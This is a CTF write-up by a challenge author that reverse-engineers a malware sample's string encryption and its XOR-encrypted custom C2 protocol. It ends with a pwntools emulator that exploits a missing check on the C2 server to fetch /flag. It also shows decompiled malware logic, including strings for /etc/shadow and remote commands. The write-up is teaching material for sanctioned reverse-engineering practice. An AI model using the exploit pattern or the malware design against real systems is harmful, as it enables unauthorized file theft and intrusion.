DamCTF 2020 Malware Challenge - Phase 4
This is a part of a series of writeups for a malware challenge I made for DamCTF 2020. Please see here for the overview.
Phase 4
Our sensors just detected another sample for the malware on an endpoint in a client’s environment. There was also some suspicious network traffic flagged on the host, so we are hoping to find a live Command & Control (C2) server this time!
Thanks to the information you’ve uncovered throughout your analysis, our research team has learned a lot about the threat actors behind this malware, and has determined that they don’t always adhere to secure coding practices. Can you find a vulnerability in the C2 communication/command protocol that would let you “borrow” files from the server? (don’t worry, Legal signed off on it!)
The flag is on the C2 server at
/flag
Phase 4 is where the difficulty gets kicked up a notch, and players need to analyze the custom binary protocol that is used between the malware and the C2 server. Only ~20% of the teams who solved Phase 3 solved Phase 4. The task was originally designed to be solved with just the ELF (which is identical to the Phase 1/2 ELF, just with a different config that had a live C2 server), but after seeing no solves for 18 hours, I was worried that the difficulty jump was too high between 3 and 4, and that teams wouldn’t be able to solve it within a reasonable time period. After some discussion with the other admins, we decided to release a PCAP that showed the communication between the malware and the C2 server. This was a decision I did not take lightly, as I didn’t want to negatively affect the competitiveness of the event, but I also wanted people to be able to solve Phase 4 (and unlock Phase 5) and have the joy of solving the full sequence.
After talking with a couple teams and asking about the PCAP release on the survey, all teams appreciated having the PCAP except for one team who had already done a lot of reversing work and didn’t really need the PCAP to help solve the challenge. Allow me to make something clear: If ANY team had solved Phase 4, we would not have released a PCAP. However, since there were no solves, we felt it didn’t adversely affect the competitive nature of the CTF to release one. I also monitored the backend database and logs for the C2 server to check player’s progress before releasing the PCAP, and it didn’t seem like anyone had managed to move past the initial bot registration message. With all of that in mind, we deemed it fair and just to release the PCAP. If anyone has additional thoughts about this type of in-event challenge modification, please contact me, I would love to hear your thoughts (we are new CTF organizers and are still figuring out the best way to do things).
Anyways, let’s talk about how to solve this challenge. I’ll briefly touch on the strategy for solving this without the PCAP (tl;dr lots of reversing), and then will go through solving it with the PCAP, as that’s what most teams did during the CTF.
No PCAP
The description indicates that we are looking for a way to access files on the C2 server, potentially through some form of RCE or otherwise. In order to start investigating how to achieve this, we can start by fully tearing apart the malware, starting with the string encryption.
String Decryption
In (most) places where a string would normally be found, a function call is made with a single parameter, indicating which string should be returned:
lVar2 = FUN_00102e48(0x13);
I say “most” strings, because if we look at the strings found in the ELF, we see that there are a few relevant ones present:
$ strings libmal.so
[snip]
GLIBC_2.2.5
u3UH
dH+4%(
AUATSH
H[A\A]]
ATSH
0[A\]
cont
port
slti
stiv
stky
;*3$"
l~oK$5
)R9u
lE2j
v_Zl
[snip]
The strings cont
, port
, slti
, stiv
, and stky
seem familiar. Why? Because they are key names in the malware config! As we analyze the string crypto at FUN_00102e48
, we will see that stiv
and stky
are the IV and key used for string encryption, and therefore the strings used to access the config can’t themselves be encrypted, otherwise there would be an infinite loop of no-string-ness.
Let’s take a look at FUN_00102e48
and try to decrypt the other strings in the binary, as this will make our analysis a bit easier:
long FUN_00102e48(uint param_1)
{
if ((&DAT_001063a0)[(long)(int)param_1 * 0x61] != '\b') {
FUN_00102ece((ulong)param_1);
}
return (long)(int)param_1 * 0x61 + 0x1063a1;
}
void FUN_00102ece(int param_1)
{
int iVar1;
uchar *iv;
uchar *key;
EVP_CIPHER *cipher;
long in_FS_OFFSET;
int local_34;
EVP_CIPHER_CTX *local_30;
uchar *local_28;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_30 = EVP_CIPHER_CTX_new();
if (local_30 == (EVP_CIPHER_CTX *)0x0) {
/* WARNING: Subroutine does not return */
exit(0);
}
iv = (uchar *)FUN_00101933(&DAT_00104036);
key = (uchar *)FUN_00101933(&DAT_0010403b);
cipher = EVP_aes_256_cbc();
iVar1 = EVP_DecryptInit_ex(local_30,cipher,(ENGINE *)0x0,key,iv);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(0);
}
EVP_CIPHER_CTX_set_padding(local_30,0);
local_28 = (uchar *)malloc(0x61);
iVar1 = EVP_DecryptUpdate(local_30,local_28,&local_34,(uchar *)((long)param_1 * 0x61 + 0x1063a1),
0x60);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(0);
}
iVar1 = EVP_DecryptFinal_ex(local_30,local_28 + local_34,&local_34);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(0);
}
EVP_CIPHER_CTX_free(local_30);
memcpy((void *)((long)param_1 * 0x61 + 0x1063a1),local_28,0x60);
free(local_28);
(&DAT_001063a0)[(long)param_1 * 0x61] = 8;
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Like the config crypto, the main accessor function will check to see if the first byte is equal to 0x8
, and if not, will call FUN_00102ece
to (presumably) decrypt the string, and then return the pointer to the string.
Ghidra very helpfully parses all of the relevant OpenSSL variables for us, so we can quickly identify the key and IV variables, and how they are used in the code. Fortunately for us as the reverse engineer, this function just does a standard AES-256-CBC decryption on the string chunk specified by the int in param_1
. We also see that each chunk is 97 bytes, and that the first byte is a status byte that isn’t returned to the caller, so each string is 96 bytes, including a terminating null byte.
For some reason, Ghidra doesn’t properly identify the strings passed to FUN_00101933
to fill the iv
and key
variables, but DAT_00104036
is stiv\x00
, and DAT_0010403b
is stky\x00
(you can view the values by double clicking on those symbolsin Ghidra). From this, we can infer that the stiv
entry in the config is the IV value for the cipher, and stky
the key value.
Here is a Python function that can decrypt all of the strings in the binary (the full string decryption script is available here):
def get_strs(elf: bytes, iv: str, key: str):
strs_chunk = elf[0x53a0:0x53a0+2134]
strlen = 97 # status + 96chars
def fun_00102ece(num):
cipher = AES.new(key=key.encode(), iv=iv.encode(), mode=AES.MODE_CBC)
plaintext = cipher.decrypt(strs_chunk[(num*strlen)+1:(num+1)*strlen])
return plaintext
strs = []
for i in range(len(strs_chunk) // strlen):
strs.append(fun_00102ece(i).decode().split("\x00")[0])
return strs
Let’s run the script and see what the strings are:
$ python3 dec_str.py
0x0 IV
0x1 noop
0x2 ack
0x3 netw
0x4 user
0x5 runs
0x6 runc
0x7 down
0x8 upld
0x9 exit
0xa r
0xb /etc/passwd
0xc /etc/shadow
0xd /etc/sudoers
0xe %s%s%s
0xf fail
0x10 good
0x11 w
0x12 skip
0x13 0123456789abcdef
0x14 aaaaaaaa-aaaa-4aaa-baaa-aaaaaaaaaaaa
0x15 /tmp/
Now, whenever we see something in the decompilation that calls FUN_00102e48
, we will be able to easily identify what the decrypted string is.
Let’s start taking a look at the actual meat of the binary, starting with libmain()
:
void libmain(void)
{
uint __seconds;
uint __fd;
char *__nptr;
long in_FS_OFFSET;
undefined local_88 [4];
undefined2 local_84;
void *local_80;
undefined local_78;
char acStack119 [37];
undefined2 local_52;
undefined8 local_50;
char local_48 [38];
undefined2 local_22;
undefined8 local_20;
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
if (DAT_00106c40 != '\x01') {
/* WARNING: Subroutine does not return */
exit(0);
}
__nptr = (char *)FUN_00101933(&DAT_00104031);
__seconds = atoi(__nptr);
FUN_00101ce7();
sleep(__seconds);
do {
local_50 = 0;
local_52 = 0;
local_20 = 0;
local_22 = 0;
local_80 = (void *)0x0;
local_84 = 0;
__fd = FUN_00101399();
local_78 = 3;
strncpy(acStack119,&DAT_00106c60,0x24);
FUN_001014be((ulong)__fd,&local_78,1,&local_78);
local_84 = 0;
local_80 = (void *)0x0;
FUN_00101775((ulong)__fd,local_88,local_48,local_88);
if (local_48[0] == '\x04') {
FUN_00101d96((ulong)__fd,local_88,local_88);
if (local_80 != (void *)0x0) {
free(local_80);
}
}
close(__fd);
sleep(__seconds);
} while( true );
}
We see that a function FUN_00101ce7()
is called, then sleep()
, and then an infinite loop that probably polls the C2 server for a new command. Using our handy dandy config extractor, we know that the value used as the argument to sleep()
comes from the config key slti
, which is 300
:
$ python3 config_extract.py phase4/libmal.so
ehbn = uiw.edu
slti = 300
stky = 2817e98390fe52c9dbcc0ac31b789d8c
jgie = namemc.com
port = 31996
stiv = 0c4aaaf59534932e
nklr = moneyou.de
cont = gardenpartydelite.be
bnwe = ecitizen.go.ke
xvee = numimarket.pl
At this point, I am going to switch to PCAP-informed reversing of the binary. All of this analysis is possible without the PCAP, but it’s a bit more difficult. I highly encourage you to try and reverse engineer the sample without the PCAP for practice.
With a PCAP
Let’s start by taking a look at the PCAP in Wireshark:
We see 4 connections, one at T+0 seconds, two at ~T+300 seconds, and a fourth at T+602 seconds
The first connection sends the following data:
00000000 01 64 37 32 61 62 39 35 66 2d 32 32 32 36 2d 34 |.d72ab95f-2226-4|
00000010 61 34 30 2d 61 34 63 61 2d 65 31 35 33 39 32 66 |a40-a4ca-e15392f|
00000020 36 39 31 30 34 00 00 |69104..|
It sends it in two packets, with the first packet only having the 0x01
byte at the beginning, and the second with all of the rest of the data. Bytes 0x01-0x25 look like a UUIDv4, which is most likely the bot ID (you can see this generated with FUN_0010307c()
in the binary).
Let’s take a look at the response:
00000000 02 64 37 32 61 62 39 35 66 2d 32 32 32 36 2d 34 |.d72ab95f-2226-4|
00000010 61 34 30 2d 61 34 63 61 2d 65 31 35 33 39 32 66 |a40-a4ca-e15392f|
00000020 36 39 31 30 34 20 00 4b e7 f0 5d eb 91 94 61 bc |69104 .K..]...a.|
00000030 5c 90 94 1a a2 fb df ec 58 41 ef 3c d6 d7 4e 5c |\.......XA.<..N\|
00000040 c3 07 63 87 66 d8 69 |..c.f.i|
C2 Communication Protocol
To understand what all of these bytes are, let’s refer back to libmain()
, and start looking for functions that do network communication. libmain
calls FUN_00101ce7
before entering a loop:
void FUN_00101ce7(void)
{
uint __fd;
long in_FS_OFFSET;
undefined local_48;
char acStack71 [37];
undefined2 local_22;
void *local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_48 = 1;
strncpy(acStack71,&DAT_00106c60,0x24);
local_22 = 0;
__fd = FUN_00101399();
FUN_001014be((ulong)__fd,&local_48,0,&local_48);
FUN_0010157c((ulong)__fd,&local_48,0,&local_48);
FUN_0010190c(local_20);
free(local_20);
close(__fd);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
We know that DAT_00106c60
contains the output from the UUIDv4 generated by libinit()
. It looks like a struct is built on the stack, and then passed to FUN_00104be
and FUN_0010157c
. Ghidra also thinks the return value from FUN_00101399()
is some sort of file descriptor, so that probably opens the socket to the C2 server.
ulong FUN_00101399(void)
{
// truncated/simplified for readability
__nptr = (char *)FUN_00101933(&DAT_00104005); // port
iVar2 = atoi(__nptr);
__nptr = (char *)FUN_00101933(&DAT_00104000); // cont
phVar3 = gethostbyname(__nptr);
__fd = socket(2,1,0);
local_20 = 0;
local_28 = 2;
uVar1 = htons((uint16_t)iVar2);
memcpy((void *)((long)&local_28 + 4),*phVar3->h_addr_list,(long)phVar3->h_length);
iVar2 = connect(__fd,(sockaddr *)&local_28,0x10);
return (ulong)__fd;
}
void FUN_001014be(int param_1,void *param_2,char param_3)
{
write(param_1,param_2,1);
write(param_1,(void *)((long)param_2 + 1),0x24);
write(param_1,(void *)((long)param_2 + 0x26),2);
if ((param_3 != '\0') && (*(short *)((long)param_2 + 0x26) != 0)) {
FUN_00101882(*(undefined8 *)((long)param_2 + 0x28),(ulong)*(ushort *)((long)param_2 + 0x26),
(ulong)*(ushort *)((long)param_2 + 0x26));
}
if (*(short *)((long)param_2 + 0x26) != 0) {
write(param_1,*(void **)((long)param_2 + 0x28),(ulong)*(ushort *)((long)param_2 + 0x26));
}
return;
}
void FUN_0010157c(int param_1,void *param_2,char param_3)
{
void *pvVar1;
if (param_2 != (void *)0x0) {
read(param_1,param_2,1);
read(param_1,(void *)((long)param_2 + 1),0x24);
read(param_1,(void *)((long)param_2 + 0x26),2);
if (*(short *)((long)param_2 + 0x26) == 0) {
*(undefined8 *)((long)param_2 + 0x28) = 0;
}
else {
pvVar1 = malloc((ulong)*(ushort *)((long)param_2 + 0x26));
*(void **)((long)param_2 + 0x28) = pvVar1;
read(param_1,*(void **)((long)param_2 + 0x28),(ulong)*(ushort *)((long)param_2 + 0x26));
}
if ((param_3 != '\0') && (*(short *)((long)param_2 + 0x26) != 0)) {
FUN_001018e6(*(undefined8 *)((long)param_2 + 0x28),(ulong)*(ushort *)((long)param_2 + 0x26),
(ulong)*(ushort *)((long)param_2 + 0x26));
}
}
return;
}
It looks like a connection is opened to the server, and the struct at param_2
is written to the socket in FUN_001014be()
, and then data is read off the socket into the struct at param_2
in FUN_0010157c()
.
Now that we see how the data is being used, we can assemble a rough idea of what the struct looks like:
typedef struct {
unsigned char unknown;
char id[0x24];
unsigned short length;
void *data;
} packet_t;
How do we know what the different fields are from the above decompilation?
- In the PCAP, we see the ID value being sent at offset
0x01
, so we can assume that the0x24
byte chunk being read off the wire is the ID. - In
FUN_001014be()
, theshort
atparam_2+0x26
must be!= 0
for the data pointed to byparam_2+0x28
to be written to the socket, and the length argument on thewrite()
call isparam_2+0x26
(along with the argument tomalloc()
), so it is safe to assume that offset0x26
is anunsigned short
length value for the packet data.
Something curious is happening in both FUN_001014be()
and FUN_0010157c
, if the packet_t.length != 0
and param_3 != 0
. If those conditions are met, the function FUN_00101882()
or FUN_001018e6()
is called, with the argument of the packet_t.data
pointer. Let’s take a look at that code and see what it does:
void FUN_00101882(long param_1,ushort param_2)
{
uint uVar1;
int local_c;
local_c = 0;
while (local_c < (int)(uint)param_2) {
uVar1 = (uint)(local_c >> 0x1f) >> 0x1b;
*(byte *)(param_1 + local_c) =
(&DAT_00106c20)[(int)((local_c + uVar1 & 0x1f) - uVar1)] ^ *(byte *)(param_1 + local_c);
local_c = local_c + 1;
}
return;
}
void FUN_001018e6(undefined8 param_1,ushort param_2)
{
FUN_00101882(param_1,(ulong)param_2,(ulong)param_2);
return;
}
We see that there is an XOR encryption being performed on the data passed in, and that param_1
is the data pointer, and param_2
is the length of the data. We also know that the key is located at DAT_00106c20
, and that FUN_001018e6()
just calls FUN_00101882()
without changing the arguments. We can make the following conclusions from this:
- Because basic XOR encryption and decryption is the same, we can assume taht
FUN_001018e6()
is a “decrypt” function that just calls the “encrypt” function (FUN_00101882()
) since it can serve the same purpose - The
param_3
argument toFUN_001014be()
andFUN_0010157c()
is most likely a boolean value to indicate whether or not the XOR code should be called to encrypt/decrypt some data (assumingpacket_t.length != 0
)
Unfortunately, the data at DAT_00106c20
is all NULL, which implies that the key is dynamically generated. Luckily, we are able to identify that the key is the extra data sent back from the server by taking another look at a function call in FUN_00101ce7()
, after the send and receive code is finished executing. The function then calls FUN_0010190c()
, passing in the packet_t.data
struct value.
void FUN_0010190c(char *param_1)
{
strncpy(&DAT_00106c20,param_1,0x20);
return;
}
It looks like FUN_0010190c()
copies 32 bytes from the pointer to DTA_00106c20
, which confirms that the data in the initial response from the server is an encryption key for future communications.
Now that we know how and what parts of the communication are encrypted, along with the key, we can look at the rest of the packets and decrypt them:
Packets 17,19 Client->Server
00000000 03 64 37 32 61 62 39 35 66 2d 32 32 32 36 2d 34 |.d72ab95f-2226-4|
00000010 61 34 30 2d 61 34 63 61 2d 65 31 35 33 39 32 66 |a40-a4ca-e15392f|
00000020 36 39 31 30 34 00 00 |69104..|
This packet has zero data bytes, and therefore needs no decryption
Packet 21 Server->Client
00000000 04 64 37 32 61 62 39 35 66 2d 32 32 32 36 2d 34 |.d72ab95f-2226-4|
00000010 61 34 30 2d 61 34 63 61 2d 65 31 35 33 39 32 66 |a40-a4ca-e15392f|
00000020 36 39 31 30 34 19 00 2f 88 87 33 f8 91 bb 14 cf |69104../..3.....|
00000030 2e bf f8 73 c0 d4 b0 9f 75 33 8a 50 b3 b6 3d 39 |...s....u3.P..=9|
This packet has 0x19
data bytes, and can be decrypted! We can use this script to decrypt the packet:
import binascii
import struct
import sys
def decrypt_packet(key, packet):
packet = binascii.unhexlify(packet)
length = struct.unpack("<H", packet[37:39])
if length == 0:
return
enc_bytes = packet[39:]
key = binascii.unhexlify(key)
out_pkt = b""
for i in range(len(enc_bytes)):
out_pkt += bytes([enc_bytes[i] ^ key[i % len(key)]])
return out_pkt
def main(argv):
if len(argv) != 3:
print("usage: ./dec_pkt.py [key binascii] [pkt binascii]")
return 1
print(decrypt_packet(argv[1], argv[2]))
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv))
If we run this script using data from the C2 server’s response (packet 21), we can see what the data field contains in the response:
$ ./dec_pkt.py 4be7f05deb919461bc5c90941aa2fbdfec5841ef3cd6d74e5cc307638766d869 0464373261623935662d323232362d346134302d613463612d65313533393266363931303419002f888733f891bb14cf2ebff873c0d4b09f75338a50b3b63d39
b'down\x13\x00/usr/lib/os-release'
At this point it isn’t clear what the first field is, but the second field looks like the length of the third field. The string down
is present in the binary (index 0x7 from the string decryption), so let’s look at how the data is used.
libmain()
calls FUN_00101d96()
in a while loop, after receiving data from the server, so we know it’s some kind of event loop used to process the data from the server. Let’s look at FUN_00101d96()
:
void FUN_00101d96(uint param_1,char *param_2)
{
int iVar1;
char *__s2;
long in_FS_OFFSET;
char local_28 [4];
undefined2 local_24;
char *local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_20 = (char *)0x0;
local_24 = 0;
__s2 = (char *)FUN_00102e48(1); // noop
iVar1 = strncmp(param_2,__s2,4);
if (iVar1 == 0) {
local_20 = (char *)malloc(3);
__s2 = (char *)FUN_00102e48(2);
strncpy(local_20,__s2,3);
local_24 = 3;
}
else {
__s2 = (char *)FUN_00102e48(3); // netw
iVar1 = strncmp(param_2,__s2,4);
if (iVar1 == 0) {
FUN_00102177(param_2,local_28,local_28);
}
else {
__s2 = (char *)FUN_00102e48(4); // user
iVar1 = strncmp(param_2,__s2,4);
if (iVar1 == 0) {
FUN_001027ed(param_2,local_28,local_28);
}
else {
__s2 = (char *)FUN_00102e48(5); // runs
iVar1 = strncmp(param_2,__s2,4);
if (iVar1 == 0) {
FUN_0010292a(param_2,local_28,local_28);
}
else {
__s2 = (char *)FUN_00102e48(6); // runc
iVar1 = strncmp(param_2,__s2,4);
if (iVar1 == 0) {
FUN_001029ee(param_2,local_28,local_28);
}
else {
__s2 = (char *)FUN_00102e48(7); // down
iVar1 = strncmp(param_2,__s2,4);
if (iVar1 == 0) {
FUN_00102b3e(param_2,local_28,&DAT_00106c60,local_28);
}
else {
__s2 = (char *)FUN_00102e48(8); //upld
iVar1 = strncmp(param_2,__s2,4);
if (iVar1 == 0) {
FUN_00102ddf(param_2,local_28,local_28);
}
else {
__s2 = (char *)FUN_00102e48(9); // exit
iVar1 = strncmp(param_2,__s2,4);
if (iVar1 == 0) {
/* WARNING: Subroutine does not return */
exit(0);
}
}
}
}
}
}
}
}
strncpy(local_28,param_2,4);
FUN_00101673((ulong)param_1,&DAT_00106c60,local_28,5);
if (local_20 != (char *)0x0) {
free(local_20);
local_20 = (char *)0x0;
local_24 = 0;
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
This function calls the string decryption function (FUN_00102e48()
) a number of times, then strcmp’s the result to an argument to figure out which function should be run. I put the decrypted strings as a comment next to each call to make it easier to follow. We are looking for down
, which causes FUN_00102b3e()
to be called. One interesting note is that Ghidra thinks this function takes 4 arguments, while it looks like the others take 3.
Let’s look at the function called for down
:
void FUN_00102b3e(long param_1,long param_2,char *param_3)
{
// omitted var defs
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__fd = FUN_00101399();
local_78 = 6;
strncpy(local_77,param_3,0x24);
local_50 = malloc((ulong)*(ushort *)(param_1 + 4));
memcpy(local_50,*(void **)(param_1 + 8),(ulong)*(ushort *)(param_1 + 4));
local_52 = *(undefined2 *)(param_1 + 4);
FUN_001014be((ulong)__fd,&local_78,1,&local_78);
FUN_0010157c((ulong)__fd,local_48,1,local_48);
close(__fd);
if ((local_48[0] == '\a') && (local_22 != 0)) {
__src = (char *)FUN_00103173();
__modes = (char *)FUN_00102e48(0x11);
__s = fopen(__src,__modes);
if (__s == (FILE *)0x0) {
*(undefined2 *)(param_2 + 4) = 4;
pvVar1 = malloc((ulong)*(ushort *)(param_2 + 4));
*(void **)(param_2 + 8) = pvVar1;
__modes = (char *)FUN_00102e48(0xf);
strncpy(*(char **)(param_2 + 8),__modes,4);
}
else {
fwrite(local_20,(ulong)local_22,1,__s);
fclose(__s);
*(undefined2 *)(param_2 + 4) = 0xc;
pvVar1 = malloc((ulong)*(ushort *)(param_2 + 4));
*(void **)(param_2 + 8) = pvVar1;
strncpy(*(char **)(param_2 + 8),__src,(ulong)*(ushort *)(param_2 + 4));
}
free(__src);
}
else {
*(undefined2 *)(param_2 + 4) = 4;
pvVar1 = malloc((ulong)*(ushort *)(param_2 + 4));
*(void **)(param_2 + 8) = pvVar1;
__src = (char *)FUN_00102e48(0x12);
strncpy(*(char **)(param_2 + 8),__src,4);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
This function makes another connection to the C2 server by calling FUN_00101399()
, and builds a message with the first byte being 0x6
. We’ve seen a few different values for this byte throughout our analysis, with 0x1
and 0x2
used in the registration process, 0x3
, 0x4
, and 0x5
in the main loop. Let’s consider this value to be a type field, with this function introducing the 6th type. The data in the outgoing message comes from the data being passed into the function (that memcpy()
at the beginning).
Then, the malware handles the response data from the server, getting the data with a call to FUN_0010157c()
, and then checking that the first byte is 0x7
. It then saves the data to a file on disk somewhere, with a path generated by FUN_00103173()
.
At this point, we’ve learned the following:
- When the malware gets the
down
command, it makes another connection to the server, and includes the filename from the original command sent by the server. The message has type0x6
. - The malware saves the response to disk and sends some data back to the server on the original connection to indicate if the transfer succeeded or not.
At this point, the vulnerability starts to appear. Since we are making a second connection to the server to download a file, does the server properly limit download requests to filepaths the bot has been told to download? It turns out that it does not! Since the description tells us the path of the flag (/flag
), we can make our own file download request and with any luck will get the flag from the C2 server.
Emulator
Let’s start by reviewing the structure of the different messages we’ve analyzed:
- Message
0x1
- Client -> Server
- Not encrypted
- Sends the bot ID
- Message
0x2
- Server -> Client
- Not encrypted
- Response to
0x1
- Sends the crypto key for future messages
- Message
0x4
- Server -> Client
- Encrypted
- Sends the command to the bot to execute
- Message
0x6
- Client -> Server
- Encrypted
- Requests a file to be downloaded
We also know the general structure of the messages on the wire:
typedef struct {
unsigned char type;
char id[0x24];
unsigned short length;
void *data; // sometimes is data_t
} packet_t;
typedef struct {
char cmd[4];
unsigned short length;
void *data;
} data_t
This information, in combination with the PCAP that was released, provides us with enough information to write an emulator to communicate with the C2 server.
Here is the emulator that I wrote:
from pwn import *
import uuid
host = "gardenpartydelite.be"
port = 31996
id = str(uuid.uuid4())
log.info(f"id: {id}")
def register():
p = remote(host, port)
payload = b""
payload += b"\x01"
payload += id.encode()
payload += b"\x00\x00"
p.send(payload)
p.recv(37)
l = u16(p.recv(2))
key = p.recv(l)
return key
def download(key, path):
enc_data = b""
for i in range(len(path)):
enc_data += bytes([path.encode()[i] ^ key[i % len(key)]])
msg = b"\x06"
msg += id.encode()
msg += p16(len(enc_data))
msg += enc_data
p = remote(host, port)
p.send(msg)
p.recv(37)
l = u16(p.recv(2))
enc = p.recv(l)
flag = b""
for i in range(len(enc)):
flag += bytes([enc[i] ^ key[i % len(key)]])
log.info(f"flag: {flag.decode()}")
key = register()
download(key, "/flag")
The register()
function builds the proper payload with our UUID for the server to register our bot, allowing us to make further requests to the server. It returns the encryption key that we need to use to encrypt our future payloads. Then, we use that key to make a download request for /flag
. Since the server doesn’t validate that a file download requests comes from a bot who was commanded to download that specific file, the server will fulfill our request for any file on the server. It builds the message, applies the proper encryption, and then decrypts the flag:
$ python3 emu.py
[*] id: 0f081b3a-73ea-42bd-84f2-e1ef72439a14
[+] Opening connection to gardenpartydelite.be on port 31996: Done
[+] Opening connection to gardenpartydelite.be on port 31996: Done
[*] flag: dam{cust0m_pr0t0col5_4r3_l4m3_just_us3_http}